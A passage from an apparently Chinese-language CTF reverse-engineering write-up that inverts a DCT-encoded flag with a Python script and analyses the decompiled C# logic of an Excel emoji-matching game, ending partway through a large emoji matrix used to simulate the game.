v7 = sqrt(1.0 / v9);
v3 = std::vector<double>::operator[](a1, i);
*v3 = *v3 * v7;
}
return a1;
}

识别代码逻辑为离散余弦变换(DCT)算法,写一个逆算法解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import numpy as np

c = "370.75 234.362 -58.0834 59.8212 88.8221 -30.2406 21.8316 49.9781 -33.5259 2.69675 43.5386 -30.2925 -28.0754 27.593 -2.53962 -27.1883 -5.60777 -0.263937 6.80326 8.03022 -6.34681 -0.89506 -6.80685 -13.6088 27.0958 29.8439 -21.7688 -20.6925 -13.2155 -37.0994 2.23679 37.6699 -3.5 9.85188 57.2806 13.5715 -20.7184 8.6816 3.59369 -4.5302 4.22203 -28.8166 -23.695 31.2268 6.58823 -39.9966 -20.7877 -19.7624 -22.031 16.3285 2.07557 -26.2521 16.1914 18.3976 -26.9295 3.03769 41.0412 20.2598 14.991 6.99392 -22.3752 -7.24466 8.96299 -10.4874".split(' ')
c = [float(k) for k in c]

def idct(signal):
"""Perform Inverse Discrete Cosine Transform (IDCT) on signal"""
n = len(signal)
x = np.zeros(n)
for i in range(n):
y = 0
for j in range(n):
if j == 0:
y += signal[j] / np.sqrt(n)
else:
y += signal[j] * np.sqrt(2/n) * np.cos((np.pi*(2*i+1)*j)/(2*n))
x[i] = y
return np.round(x).tolist()

out = idct(c)
out = [int(k) for k in out]
print(bytes(out))

# b'flag{9ab488a7-5b11-1b15-04f2-c230704ecf72}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Emoji Connect

连连看

使用ILSpy分析Game模块,内含48*48 emoji表情矩阵,关键逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private int[] number = new int[48]
{
25588, 31114, 28727, 26722, 24948, 25135, 25480, 29029, 23025, 25775,
15411, 25423, 25202, 30031, 27380, 30734, 25054, 25109, 20741, 28568,
28802, 24591, 26063, 30940, 30375, 19411, 29573, 20845, 27232, 26743,
25779, 24986, 31498, 30978, 22945, 26563, 35012, 29994, 27016, 29535,
21342, 26573, 27569, 25408, 31567, 25503, 21385, 27207
};

private void Select_Unit(Range Target)
{
List<Range> list = new List<Range>();
foreach (Range cell in Target.Cells)
{
list.Add(cell);
}
if ((Target.Cells.Count == 2 && (dynamic)list[0].get_Value(Type.Missing) != null && (dynamic)list[1].get_Value(Type.Missing) != null && (dynamic)list[1].get_Value(Type.Missing) != "\ud83d\udca5" && (dynamic)list[0].get_Value(Type.Missing) != "\ud83d\udca5") && (((dynamic)list[0].get_Value(Type.Missing) == (dynamic)list[1].get_Value(Type.Missing)) ? true : false))
{
int[] array = ((IEnumerable<char>)(string)(dynamic)list[1].get_Value(Type.Missing)).Select((Func<char, int>)((char c) => c)).ToArray();
int num = (array[0] - 55296) * 1024 + array[1] - 56320 + 65536 - 128512;
number[num] -= (list[1].Row - 1) * (list[1].Column - 1);
number[num] -= (list[0].Row - 1) * (list[0].Column - 1);
Range range = list[0];
object missing = Type.Missing;
object obj;
list[1].set_Value(Type.Missing, obj = "\ud83d\udca5");
range.set_Value(missing, obj);
}
check();
}

private void check()
{
for (int i = 0; i < 48; i++)
{
for (int j = 0; j < 48; j++)
{
if (((dynamic)sheet1.Cells[i + 1, j + 1]).Value != "\ud83d\udca5")
{
return;
}
}
}
MessageBox.Show(Encoding.ASCII.GetString(number.Select((int n) => (byte)n).ToArray()));
}

每选中相同的两个emoji,按照emoji对应的array值,将number数组里对应下标的值,减去选中的两个emoji所在的行列号之积。

上脚本模拟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
s = [[
"d83d,de08", "d83d,de11", "d83d,de14", "d83d,de0e", "d83d,de0c", "d83d,de06", "d83d,de24", "d83d,de2e", "d83d,de2e", "d83d,de1f",
"d83d,de2a", "d83d,de02", "d83d,de22", "d83d,de10", "d83d,de29", "d83d,de19", "d83d,de2d", "d83d,de0e", "d83d,de2c", "d83d,de05",
"d83d,de09", "d83d,de26", "d83d,de1b", "d83d,de25", "d83d,de1c", "d83d,de24", "d83d,de11", "d83d,de28", "d83d,de1d", "d83d,de17",
"d83d,de1b", "d83d,de01", "d83d,de11", "d83d,de0f", "d83d,de1c", "d83d,de20", "d83d,de24", "d83d,de0b", "d83d,de00", "d83d,de01",
"d83d,de05", "d83d,de16", "d83d,de11", "d83d,de21", "d83d,de12", "d83d,de07", "d83d,de04", "d83d,de1b"
],
[
"d83d,de0a", "d83d,de08", "d83d,de02", "d83d,de18", "d83d,de2c", "d83d,de29", "d83d,de25", "d83d,de2c", "d83d,de08", "d83d,de2b",
"d83d,de05", "d83d,de0a", "d83d,de12", "d83d,de26", "d83d,de11", "d83d,de05", "d83d,de19", "d83d,de14", "d83d,de1f", "d83d,de29",
"d83d,de2c", "d83d,de10", "d83d,de11", "d83d,de2e", "d83d,de14", "d83d,de25", "d83d,de27", "d83d,de16", "d83d,de07", "d83d,de26",
"d83d,de09", "d83d,de08", "d83d,de18", "d83d,de2f", "d83d,de23", "d83d,de09", "d83d,de13", "d83d,de1e", "d83d,de03", "d83d,de0c",
"d83d,de28", "d83d,de16", "d83d,de2e", "d83d,de19", "d83d,de19", "d83d,de2b", "d83d,de0b", "d83d,de23"
],
[
"d83d,de1c", "d83d,de09", "d83d,de07", "d83d,de2e", "d83d,de1d", "d83d,de1e", "d83d,de12", "d83d,de2a", "d83d,de02", "d83d,de2c",
"d83d,de2f", "d83d,de03", "d83d,de04", "d83d,de18", "d83d,de2a", "d83d,de1b", "d83d,de24", "d83d,de11", "d83d,de26", "d83d,de2f",
"d83d,de17", "d83d,de0b", "d83d,de21", "d83d,de24", "d83d,de0a", "d83d,de28", "d83d,de09", "d83d,de2c", "d83d,de0d", "d83d,de0f",
"d83d,de28", "d83d,de14", "d83d,de1d", "d83d,de00", "d83d,de21", "d83d,de1d", "d83d,de05", "d83d,de27", "d83d,de0b", "d83d,de14",
"d83d,de28", "d83d,de17", "d83d,de0d", "d83d,de28", "d83d,de1d", "d83d,de08", "d83d,de2b", "d83d,de24"
],
[
"d83d,de0d", "d83d,de0d", "d83d,de0c", "d83d,de05", "d83d,de2b", "d83d,de0f", "d83d,de2b", "d83d,de17", "d83d,de22", "d83d,de07",
"d83d,de03", "d83d,de0d", "d83d,de2e", "d83d,de03", "d83d,de0b", "d83d,de2e", "d83d,de22", "d83d,de26", "d83d,de2d", "d83d,de22",
"d83d,de22", "d83d,de14", "d83d,de27", "d83d,de25", "d83d,de22", "d83d,de01", "d83d,de20", "d83d,de00", "d83d,de19", "d83d,de05",
"d83d,de11", "d83d,de15", "d83d,de0c", "d83d,de0a", "d83d,de1e", "d83d,de15", "d83d,de11", "d83d,de21", "d83d,de14", "d83d,de18",
"d83d,de19", "d83d,de02", "d83d,de1d", "d83d,de2c", "d83d,de1c", "d83d,de15", "d83d,de0c", "d83d,de1e"
],
[
"d83d,de13", "d83d,de16", "d83d,de0f", "d83d,de11", "d83d,de07", "d83d,de26", "d83d,de2f", "d83d,de0a", "d83d,de15", "d83d,de03",
"d83d,de2c", "d83d,de0f", "d83d,de09", "d83d,de2f", "d83d,de26", "d83d,de29", "d83d,de0a", "d83d,de1b", "d83d,de1f", "d83d,de28",
"d83d,de1b", "d83d,de25", "d83d,de17", "d83d,de04", "d83d,de0a", "d83d,de00", "d83d,de09", "d83d,de07", "d83d,de27", "d83d,de05",
"d83d,de28", "d83d,de1a", "d83d,de16", "d83d,de11", "d83d,de05", "d83d,de1a", "d83d,de04", "d83d,de05", "d83d,de03", "d83d,de24",
"d83d,de12", "d83d,de09", "d83d,de0c", "d83d,de2d", "d83d,de18", "d83d,de0a", "d83d,de05", "d83d,de04"
],
[
"d83d,de0e", "d83d,de06", "d83d,de01", "d83d,de2f", "d83d,de1f", "d83d,de0c", "d83d,de19", "d83d,de2e", "d83d,de15", "d83d,de20",
"d83d,de17", "d83d,de2e", "d83d,de09", "d83d,de10", "d83d,de0f", "d83d,de10", "d83d,de04", "d83d,de0a", "d83d,de2f", "d83d,de0d",
"d83d,de0c", "d83d,de0b", "d83d,de25", "d83d,de22", "d83d,de02", "d83d,de08", "d83d,de14", "d83d,de14", "d83d,de06", "d83d,de23",
"d83d,de22", "d83d,de0a", "d83d,de02", "d83d,de04", "d83d,de0b", "d83d,de10", "d83d,de20", "d83d,de07", "d83d,de14", "d83d,de0f",
"d83d,de17", "d83d,de1c", "d83d,de2e", "d83d,de07", "d83d,de19", "d83d,de2f", "d83d,de2c", "d83d,de28"
],
[
"d83d,de27", "d83d,de03", "d83d,de29", "d83d,de2f", "d83d,de2f", "d83d,de04", "d83d,de08", "d83d,de15", "d83d,de02", "d83d,de21",
"d83d,de26", "d83d,de2d", "d83d,de21", "d83d,de0a", "d83d,de0c", "d83d,de12", "d83d,de06", "d83d,de0a", "d83d,de15", "d83d,de28",
"d83d,de28", "d83d,de0a", "d83d,de0c", "d83d,de2a", "d83d,de0d", "d83d,de22", "d83d,de26", "d83d,de18", "d83d,de0d", "d83d,de2a",
"d83d,de27", "d83d,de17", "d83d,de07", "d83d,de05", "d83d,de07", "d83d,de2d", "d83d,de1e", "d83d,de16", "d83d,de22", "d83d,de18",
"d83d,de1d", "d83d,de26", "d83d,de25", "d83d,de2e", "d83d,de12", "d83d,de26", "d83d,de21", "d83d,de2b"
],
[
"d83d,de2a", "d83d,de2b", "d83d,de2b", "d83d,de09", "d83d,de16", "d83d,de06", "d83d,de02", "d83d,de25", "d83d,de0f", "d83d,de0a",
"d83d,de01", "d83d,de02", "d83d,de29", "d83d,de09", "d83d,de01", "d83d,de00", "d83d,de2c", "d83d,de1a", "d83d,de13", "d83d,de08",
"d83d,de04", "d83d,de24", "d83d,de15", "d83d,de19", "d83d,de0b", "d83d,de1a", "d83d,de1f", "d83d,de06", "d83d,de2b", "d83d,de0a",
"d83d,de1b", "d83d,de2a", "d83d,de0b", "d83d,de16", "d83d,de22", "d83d,de0d", "d83d,de19", "d83d,de03", "d83d,de14", "d83d,de1e",
"d83d,de19", "d83d,de20", "d83d,de10", "d83d,de17", "d83d,de06", "d83d,de0c", "d83d,de22", "d83d,de10"
],
[
"d83d,de1e", "d83d,de1f", "d83d,de10", "d83d,de1a", "d83d,de07", "d83d,de22", "d83d,de0b", "d83d,de2d", "d83d,de24", "d83d,de09",
"d83d,de1a", "d83d,de09", "d83d,de12", "d83d,de25", "d83d,de2e", "d83d,de15", "d83d,de04", "d83d,de16", "d83d,de0d", "d83d,de1e",
"d83d,de10", "d83d,de08", "d83d,de03", "d83d,de18", "d83d,de0d", "d83d,de25", "d83d,de23", "d83d,de27", "d83d,de12", "d83d,de2e",
"d83d,de27", "d83d,de11", "d83d,de2c", "d83d,de21", "d83d,de20", "d83d,de05", "d83d,de01", "d83d,de18", "d83d,de1e", "d83d,de01",
"d83d,de0e", "d83d,de11", "d83d,de0e", "d83d,de13", "d83d,de28", "d83d,de2f", "d83d,de09", "d83d,de2d"
],
[
"d83d,de09", "d83d,de26", "d83d,de29", "d83d,de27", "d83d,de0e", "d83d,de0b", "d83d,de06", "d83d,de06", "d83d,de0f", "d83d,de1a",
"d83d,de09", "d83d,de12", "d83d,de0f", "d83d,de14", "d83d,de1e", "d83d,de2c", "d83d,de02", "d83d,de28", "d83d,de05", "d83d,de28",
"d83d,de00", "d83d,de18", "d83d,de21", "d83d,de23", "d83d,de07", "d83d,de20", "d83d,de02", "d83d,de23", "d83d,de18", "d83d,de1e",
"d83d,de29", "d83d,de2b", "d83d,de28", "d83d,de12", "d83d,de0e", "d83d,de1d", "d83d,de23", "d83d,de00", "d83d,de09", "d83d,de1d",
"d83d,de1a", "d83d,de2f", "d83d,de1f", "d83d,de25", "d83d,de0a", "d83d,de20", "d83d,de0a", "d83d,de2e"
],
[
"d83d,de06", "d83d,de12", "d83d,de28", "d83d,de01", "d83d,de1b", "d83d,de24", "d83d,de0e", "d83d,de22", "d83d,de09", "d83d,de00",
"d83d,de0c", "d83d,de1e", "d83d,de28", "d83d,de29", "d83d,de1b", "d83d,de29", "d83d,de1a", "d83d,de1e", "d83d,de2b", "d83d,de23",
"d83d,de1e", "d83d,de2a", "d83d,de03", "d83d,de01", "d83d,de16", "d83d,de10", "d83d,de1d", "d83d,de06", "d83d,de29", "d83d,de26",
"d83d,de2e", "d83d,de0a", "d83d,de25", "d83d,de0c", "d83d,de0a", "d83d,de12", "d83d,de10", "d83d,de1b", "d83d,de08", "d83d,de2e",
"d83d,de02", "d83d,de19", "d83d,de20", "d83d,de23", "d83d,de14", "d83d,de02", "d83d,de0f", "d83d,de1a"
],
[
"d83d,de00", "d83d,de28", "d83d,de19", "d83d,de2c", "d83d,de0a", "d83d,de14", "d83d,de18", "d83d,de19", "d83d,de16", "d83d,de21",
"d83d,de09", "d83d,de08", "d83d,de20", "d83d,de03", "d83d,de2f", "d83d,de00", "d83d,de03", "d83d,de19", "d83d,de28", "d83d,de12",
"d83d,de15", "d83d,de00", "d83d,de0c", "d83d,de21", "d83d,de11", "d83d,de07", "d83d,de23", "d83d,de22", "d83d,de07", "d83d,de0b",
"d83d,de2e", "d83d,de15", "d83d,de21", "d83d,de2d", "d83d,de21", "d83d,de1e", "d83d,de20", "d83d,de1f", "d83d,de2c", "d83d,de0b",
"d83d,de04", "d83d,de00", "d83d,de0b", "d83d,de0b", "d83d,de1c", "d83d,de00", "d83d,de00", "d83d,de1e"
],
[
"d83d,de23", "d83d,de15", "d83d,de15", "d83d,de06", "d83d,de1b", "d83d,de05", "d83d,de06", "d83d,de06", "d83d,de18", "d83d,de08",
"d83d,de1d", "d83d,de19", "d83d,de2f", "d83d,de06", "d83d,de26", "d83d,de1c", "d83d,de12", "d83d,de14", "d83d,de10", "d83d,de2d",
"d83d,de1a", "d83d,de1f", "d83d,de1f", "d83d,de21", "d83d,de07", "d83d,de28", "d83d,de0c", "d83d,de1f", "d83d,de23", "d83d,de00",
"d83d,de10", "d83d,de20", "d83d,de1c", "d83d,de17", "d83d,de10", "d83d,de2f", "d83d,de29", "d83d,de25", "d83d,de24", "d83d,de2b",
"d83d,de26", "d83d,de1f", "d83d,de24", "d83d,de00", "d83d,de0d", "d83d,de2a", "d83d,de2a", "d83d,de25"
],
[
"d83d,de14", "d83d,de1c", "d83d,de28", "d83d,de15", "d83d,de08", "d83d,de09", "d83d,de16", "d83d,de28", "d83d,de0b", "d83d,de12",
"d83d,de16", "d83d,de2b", "d83d,de23", "d83d,de01", "d83d,de28", "d83d,de24", "d83d,de2b", "d83d,de01", "d83d,de22", "d83d,de21",
"d83d,de18", "d83d,de0e", "d83d,de0c", "d83d,de19", "d83d,de05", "d83d,de29", "d83d,de2a", "d83d,de07", "d83d,de0d", "d83d,de19",
"d83d,de2a", "d83d,de18", "d83d,de2f", "d83d,de07", "d83d,de13", "d83d,de10", "d83d,de02", "d83d,de01", "d83d,de01", "d83d,de22",
"d83d,de2b", "d83d,de24", "d83d,de04", "d83d,de0a", "d83d,de0c", "d83d,de29", "d83d,de1e", "d83d,de14"
],
[
"d83d,de28", "d83d,de08", "d83d,de22", "d83d,de06", "d83d,de04", "d83d,de0a", "d83d,de10", "d83d,de1d", "d83d,de2e", "d83d,de03",
"d83d,de1a", "d83d,de04", "d83d,de02", "d83d,de11", "d83d,de06", "d83d,de19", "d83d,de14", "d83d,de19", "d83d,de00", "d83d,de1a",
"d83d,de20", "d83d,de1a", "d83d,de0d", "d83d,de2f", "d83d,de0a", "d83d,de2a", "d83d,de1b", "d83d,de04", "d83d,de0b", "d83d,de28",
"d83d,de2b", "d83d,de23", "d83d,de04", "d83d,de0e", "d83d,de05", "d83d,de04", "d83d,de0f", "d83d,de00", "d83d,de0f", "d83d,de22",
"d83d,de0c", "d83d,de07", "d83d,de0d", "d83d,de2c", "d83d,de29", "d83d,de29", "d83d,de1f", "d83d,de08"
],
[
"d83d,de29", "d83d,de08", "d83d,de1b", "d83d,de1f", "d83d,de29", "d83d,de22", "d83d,de18", "d83d,de26", "d83d,de29", "d83d,de05",
"d83d,de1f", "d83d,de03", "d83d,de1a", "d83d,de1f", "d83d,de2d", "d83d,de1c", "d83d,de0a", "d83d,de26", "d83d,de1f", "d83d,de1f",
"d83d,de06", "d83d,de02", "d83d,de20", "d83d,de0a", "d83d,de00", "d83d,de2c", "d83d,de1d", "d83d,de27", "d83d,de1a", "d83d,de07",
"d83d,de11", "d83d,de1f", "d83d,de21", "d83d,de29", "d83d,de26", "d83d,de05", "d83d,de12", "d83d,de16", "d83d,de0c", "d83d,de00",
"d83d,de01", "d83d,de2e", "d83d,de2c", "d83d,de01", "d83d,de1b", "d83d,de1c", "d83d,de27", "d83d,de0f"
],
[
"d83d,de03", "d83d,de1b", "d83d,de1c", "d83d,de13", "d83d,de02", "d83d,de2e", "d83d,de16", "d83d,de2d", "d83d,de01", "d83d,de1d",
"d83d,de29", "d83d,de27", "d83d,de1c", "d83d,de12", "d83d,de1d", "d83d,de0e", "d83d,de27", "d83d,de0f", "d83d,de2d", "d83d,de0a",
"d83d,de14", "d83d,de11", "d83d,de10", "d83d,de15", "d83d,de03", "d83d,de1d", "d83d,de2e", "d83d,de2e", "d83d,de18", "d83d,de28",
"d83d,de15", "d83d,de17", "d83d,de07", "d83d,de21", "d83d,de05", "d83d,de16", "d83d,de03", "d83d,de26", "d83d,de0a", "d83d,de03",
"d83d,de2e", "d83d,de19", "d83d,de01", "d83d,de09", "d83d,de02", "d83d,de14", "d83d,de13", "d83d,de29"
],
[
"d83d,de1c", "d83d,de12", "d83d,de0a", "d83d,de10", "d83d,de1d", "d83d,de1f", "d83d,de1c", "d83d,de2f", "d83d,de09", "d83d,de18",
"d83d,de00", "d83d,de1f", "d83d,de17", "d83d,de0a", "d83d,de22", "d83d,de1b", "d83d,de0e", "d83d,de09", "d83d,de16", "d83d,de07",
"d83d,de20", "d83d,de16", "d83d,de0c", "d83d,de0e", "d83d,de29", "d83d,de28", "d83d,de10", "d83d,de17", "d83d,de2d", "d83d,de0f",
"d83d,de2b", "d83d,de2e", "d83d,de18", "d83d,de26", "d83d,de12", "d83d,de08", "d83d,de01", "d83d,de2c", "d83d,de2f", "d83d,de1d",
"d83d,de00", "d83d,de17", "d83d,de05", "d83d,de2d", "d83d,de27", "d83d,de25", "d83d,de24", "d83d,de28"
],
[
"d83d,de08", "d83d,de0e", "d83d,de28", "d83d,de13", "d83d,de1d", "d83d,de0b", "d83d,de07", "d83d,de18", "d83d,de2d", "d83d,de2f",
"d83d,de19", "d83d,de0d", "d83d,de19", "d83d,de0b", "d83d,de25", "d83d,de22", "d83d,de2a", "d83d,de14", "d83d,de08", "d83d,de2b",
"d83d,de2e", "d83d,de00", "d83d,de19", "d83d,de10", "d83d,de2c", "d83d,de07", "d83d,de01", "d83d,de0b", "d83d,de27", "d83d,de1d",
"d83d,de2c", "d83d,de13", "d83d,de02", "d83d,de25", "d83d,de18", "d83d,de1e", "d83d,de02", "d83d,de13", "d83d,de1e", "d83d,de1c",
"d83d,de1c", "d83d,de10", "d83d,de24", "d83d,de27", "d83d,de04", "d83d,de04", "d83d,de0d", "d83d,de05"
],
[
"d83d,de0b", "d83d,de0a", "d83d,de1b", "d83d,de0c", "d83d,de25", "d83d,de10", "d83d,de29", "d83d,de20", "d83d,de2b", "d83d,de06",
"d83d,de2c", "d83d,de13", "d83d,de05", "d83d,de13", "d83d,de23", "d83d,de23", "d83d,de18", "d83d,de10", "d83d,de23", "d83d,de23",
"d83d,de06", "d83d,de23", "d83d,de19", "d83d,de2d", "d83d,de24", "d83d,de06", "d83d,de11", "d83d,de01", "d83d,de1f", "d83d,de01",
"d83d,de0c", "d83d,de17", "d83d,de25", "d83d,de24", "d83d,de1b", "d83d,de0a", "d83d,de1d", "d83d,de20", "d83d,de0c", "d83d,de12",
"d83d,de14", "d83d,de09", "d83d,de0d", "d83d,de29", "d83d,de0e", "d83d,de16", "d83d,de12", "d83d,de26"
],
[
"d83d,de16", "d83d,de0a", "d83d,de29", "d83d,de17", "d83d,de20", "d83d,de2b", "d83d,de2b", "d83d,de07", "d83d,de04", "d83d,de2a",
"d83d,de1f", "d83d,de15", "d83d,de02", "d83d,de02", "d83d,de29", "d83d,de18", "d83d,de0e", "d83d,de11", "d83d,de24", "d83d,de18",
"d83d,de03", "d83d,de07", "d83d,de04", "d83d,de0e", "d83d,de19", "d83d,de18", "d83d,de13", "d83d,de2d", "d83d,de1f", "d83d,de08",
"d83d,de2e", "d83d,de2e", "d83d,de0e", "d83d,de24", "d83d,de1b", "d83d,de0d", "d83d,de2e", "d83d,de2d", "d83d,de0e", "d83d,de23",
"d83d,de21", "d83d,de29", "d83d,de21", "d83d,de24", "d83d,de1a", "d83d,de1a", "d83d,de2a", "d83d,de21"
],
[
"d83d,de20", "d83d,de0b", "d83d,de0e", "d83d,de1c", "d83d,de08", "d83d,de11", "d83d,de1f", "d83d,de2b", "d83d,de23", "d83d,de2b",
"d83d,de05", "d83d,de2d", "d83d,de13", "d83d,de16", "d83d,de1c", "d83d,de11", "d83d,de19", "d83d,de29", "d83d,de20", "d83d,de1f",
"d83d,de1c", "d83d,de05", "d83d,de1c", "d83d,de00", "d83d,de05", "d83d,de17", "d83d,de13", "d83d,de0b", "d83d,de22", "d83d,de16",
"d83d,de15", "d83d,de06", "d83d,de04", "d83d,de0f", "d83d,de21", "d83d,de0b", "d83d,de04", "d83d,de1e", "d83d,de23", "d83d,de18",
"d83d,de19", "d83d,de2c", "d83d,de08", "d83d,de16", "d83d,de11", "d83d,de20", "d83d,de11", "d83d,de1b"
],
[
"d83d,de24", "d83d,de0d", "d83d,de2e", "d83d,de1d", "d83d,de0f", "d83d,de13", "d83d,de23", "d83d,de2e", "d83d,de0c", "d83d,de16",
"d83d,de0c", "d83d,de14", "d83d,de14", "d83d,de1d", "d83d,de19", "d83d,de22", "d83d,de2d", "d83d,de03", "d83d,de0a", "d83d,de12",
"d83d,de23", "d83d,de16", "d83d,de10", "d83d,de22", "d83d,de2c", "d83d,de25", "d83d,de24", "d83d,de1f", "d83d,de0c", "d83d,de28",
"d83d,de1b", "d83d,de1a", "d83d,de15", "d83d,de2a", "d83d,de02", "d83d,de15", "d83d,de0c", "d83d,de02", "d83d,de06", "d83d,de22",
"d83d,de23", "d83d,de02", "d83d,de15", "d83d,de21", "d83d,de13", "d83d,de26", "d83d,de00", "d83d,de2c"
],
[
"d83d,de27", "d83d,de04", "d83d,de13", "d83d,de04", "d83d,de1b", "d83d,de09", "d83d,de11", "d83d,de22", "d83d,de13", "d83d,de11",
"d83d,de1b", "d83d,de23", "d83d,de19", "d83d,de21", "d83d,de27", "d83d,de1e", "d83d,de2e", "d83d,de0e", "d83d,de18", "d83d,de25",
"d83d,de0a", "d83d,de22", "d83d,de1a", "d83d,de1a", "d83d,de1c", "d83d,de0e", "d83d,de15", "d83d,de1f", "d83d,de17", "d83d,de16",
"d83d,de06", "d83d,de00", "d83d,de0f", "d83d,de21", "d83d,de10", "d83d,de04", "d83d,de0a", "d83d,de25", "d83d,de2a", "d83d,de07",
"d83d,de18", "d83d,de1a", "d83d,de02", "d83d,de12", "d83d,de18", "d83d,de2b", "d83d,de2f", "d83d,de21"
],
[
"d83d,de12", "d83d,de0d", "d83d,de0a", "d83d,de0a", "d83d,de2b", "d83d,de08", "d83d,de29", "d83d,de1e", "d83d,de00", "d83d,de12",
"d83d,de27", "d83d,de21", "d83d,de11", "d83d,de17", "d83d,de20", "d83d,de27", "d83d,de0d", "d83d,de2a", "d83d,de01", "d83d,de25",
"d83d,de1d", "d83d,de02", "d83d,de16", "d83d,de1c", "d83d,de24", "d83d,de23", "d83d,de13", "d83d,de14", "d83d,de27", "d83d,de03",
"d83d,de2a", "d83d,de27", "d83d,de03", "d83d,de22", "d83d,de2d", "d83d,de1e", "d83d,de07", "d83d,de09", "d83d,de23", "d83d,de01",
"d83d,de10", "d83d,de2c", "d83d,de19", "d83d,de0a", "d83d,de00", "d83d,de0c", "d83d,de10", "d83d,de0d"
],
[
"d83d,de25", "d83d,de15", "d83d,de2d", "d83d,de1b", "d83d,de00", "d83d,de21", "d83d,de03", "d83d,de1c", "d83d,de1b", "d83d,de26",
"d83d,de17", "d83d,de14", "d83d,de10", "d83d,de2a", "d83d,de29", "d83d,de24", "d83d,de2f", "d83d,de1c", "d83d,de12", "d83d,de0f",
"d83d,de10", "d83d,de09", "d83d,de23", "d83d,de26", "d83d,de13", "d83d,de13", "d83d,de0a", "d83d,de1b", "d83d,de2b", "d83d,de2a",
"d83d,de21", "d83d,de25", "d83d,de01", "d83d,de24", "d83d,de07", "d83d,de27", "d83d,de1d", "d83d,de0d", "d83d,de24", "d83d,de0f",
"d83d,de24", "d83d,de21", "d83d,de0c", "d83d,de21", "d83d,de26", "d83d,de24", "d83d,de23", "d83d,de0f"
],
[
"d83d,de27", "d83d,de11", "d83d,de1b", "d83d,de17", "d83d,de14", "d83d,de0b", "d83d,de0c", "d83d,de1b", "d83d,de20", "d83d,de1b",
"d83d,de26", "d83d,de21", "d83d,de06", "d83d,de10", "d83d,de17", "d83d,de23", "d83d,de23", "d83d,de25", "d83d,de10", "d83d,de17",
"d83d,de1d", "d83d,de22", "d83d,de0e", "d83d,de27", "d83d,de08", "d83d,de08", "d83d,de03", "d83d,de1b", "d83d,de2b", "d83d,de2a",
"d83d,de16", "d83d,de09", "d83d,de18", "d83d,de1f", "d83d,de13", "d83d,de2d", "d83d,de08", "d83d,de22", "d83d,de02", "d83d,de12",
"d83d,de11", "d83d,de2d", "d83d,de10", "d83d,de2d", "d83d,de12", "d83d,de18", "d83d,de28", "d83d,de0b"
],
[
"d83d,de00", "d83d,de24", "d83d,de0f", "d83d,de2a", "d83d,de2a", "d83d,de13", "d83d,de12", "d83d,de16", "d83d,de1d", "d83d,de24",
"d83d,de25", "d83d,de04", "d83d,de05", "d83d,de04", "d83d,de11", "d83d,de22", "d83d,de0a", "d83d,de19", "d83d,de21", "d83d,de02",
"d83d,de1e", "d83d,de25", "d83d,de1a", "d83d,de10", "d83d,de22", "d83d,de2a", "d83d,de12", "d83d,de09", "d83d,de05", "d83d,de2d",
"d83d,de03", "d83d,de2a", "d83d,de18", "d83d,de0b", "d83d,de07", "d83d,de1b", "d83d,de20", "d83d,de03", "d83d,de17", "d83d,de2b",
"d83d,de1d", "d83d,de0d", "d83d,de05", "d83d,de23", "d83d,de14", "d83d,de17", "d83d,de01", "d83d,de16"
],
[
"d83d,de12", "d83d,de16", "d83d,de2d", "d83d,de21", "d83d,de0b", "d83d,de20", "d83d,de1f", "d83d,de0e", "d83d,de1e", "d83d,de0b",
"d83d,de28", "d83d,de27", "d83d,de15", "d83d,de0b", "d83d,de22", "d83d,de0b", "d83d,de02", "d83d,de0e", "d83d,de1a", "d83d,de0b",
"d83d,de25", "d83d,de26", "d83d,de1d", "d83d,de17", "d83d,de2d", "d83d,de21", "d83d,de17", "d83d,de19", "d83d,de16", "d83d,de04",
"d83d,de29", "d83d,de05", "d83d,de00", "d83d,de19", "d83d,de1e", "d83d,de24", "d83d,de2d", "d83d,de24", "d83d,de1a", "d83d,de0f",
"d83d,de13", "d83d,de0a", "d83d,de1a", "d83d,de1f", "d83d,de03", "d83d,de28", "d83d,de29", "d83d,de08"
],
[
"d83d,de19", "d83d,de09", "d83d,de0c", "d83d,de19", "d83d,de28", "d83d,de13", "d83d,de1e", "d83d,de0d", "d83d,de02", "d83d,de23",
"d83d,de1f", "d83d,de0f", "d83d,de05", "d83d,de00", "d83d,de10", "d83d,de19", "d83d,de26", "d83d,de2f", "d83d,de26", "d83d,de26",
"d83d,de06", "d83d,de1b", "d83d,de06", "d83d,de0f", "d83d,de0a", "d83d,de02", "d83d,de0d", "d83d,de0d", "d83d,de03", "d83d,de01",
"d83d,de04", "d83d,de19", "d83d,de21", "d83d,de07", "d83d,de06", "d83d,de21", "d83d,de15", "d83d,de18", "d83d,de15", "d83d,de2d",
"d83d,de1a", "d83d,de2f", "d83d,de1c", "d83d,de0e", "d83d,de18", "d83d,de0e", "d83d,de20", "d83d,de06"
],
[
